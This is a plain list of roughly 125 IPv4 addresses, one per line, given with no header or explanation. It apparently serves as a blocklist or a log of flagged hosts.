162.55.85.220
5.62.61.178
5.62.61.179
213.180.203.175
45.155.40.58
161.35.253.31
159.203.53.95
64.246.165.170
64.246.165.200
111.119.177.55
157.35.69.83
42.201.196.83
51.83.21.212
2.57.169.120
192.71.3.26
192.71.36.158
47.242.0.44
216.145.5.42
68.183.245.101
110.36.228.58
197.210.70.166
186.66.22.28
195.47.194.63
105.160.12.149
92.53.30.125
144.217.135.193
149.56.160.212
37.97.133.239
185.142.236.43
45.227.254.12
46.161.11.4
95.58.114.220
217.23.5.70
139.59.228.50
5.102.173.71
94.25.231.218
45.155.204.59
66.160.140.184
203.137.166.18
45.146.166.56
197.210.28.2
45.146.166.55
217.23.5.70
37.9.87.0
136.243.72.95
37.59.53.80
95.217.41.194
3.120.34.172
168.119.11.187
23.100.232.233
105.112.109.154
180.163.220.4
5.188.211.21
42.236.10.72
2.58.44.106
2.57.122.97
51.222.253.12
5.9.48.121
128.1.248.26
109.248.149.14
152.89.196.13
95.160.35.99
209.141.49.169
209.141.41.193
144.172.73.34
150.143.151.170
46.161.11.199
205.185.121.69
205.185.116.25
209.141.36.112
198.204.252.146
38.75.72.200
146.199.19.205
92.16.220.209
185.83.146.154
147.78.47.233
193.202.110.17
94.103.204.242
62.216.208.74
82.135.87.239
82.135.87.94
65.108.205.227
85.239.55.52
45.141.215.160
65.19.141.117
81.88.57.68
196.115.96.135
217.128.127.251
101.100.179.4
152.39.140.68
185.209.4.23
196.115.239.162
52.70.240.171
172.212.60.5
185.163.125.23
3.26.195.121
91.92.242.30
170.64.232.250
185.191.127.212
223.247.145.225
183.249.17.131
103.101.224.59
167.94.146.49
157.254.236.23
194.44.147.62
162.216.149.145
106.75.173.108
45.84.89.2
64.62.156.13
95.214.53.134
45.61.187.221
64.62.197.139
213.142.134.22
185.16.39.29
185.142.236.41
1.41.152.74
188.65.168.123
87.138.253.75
216.218.206.67
109.202.99.46
35.216.252.127
162.243.23.47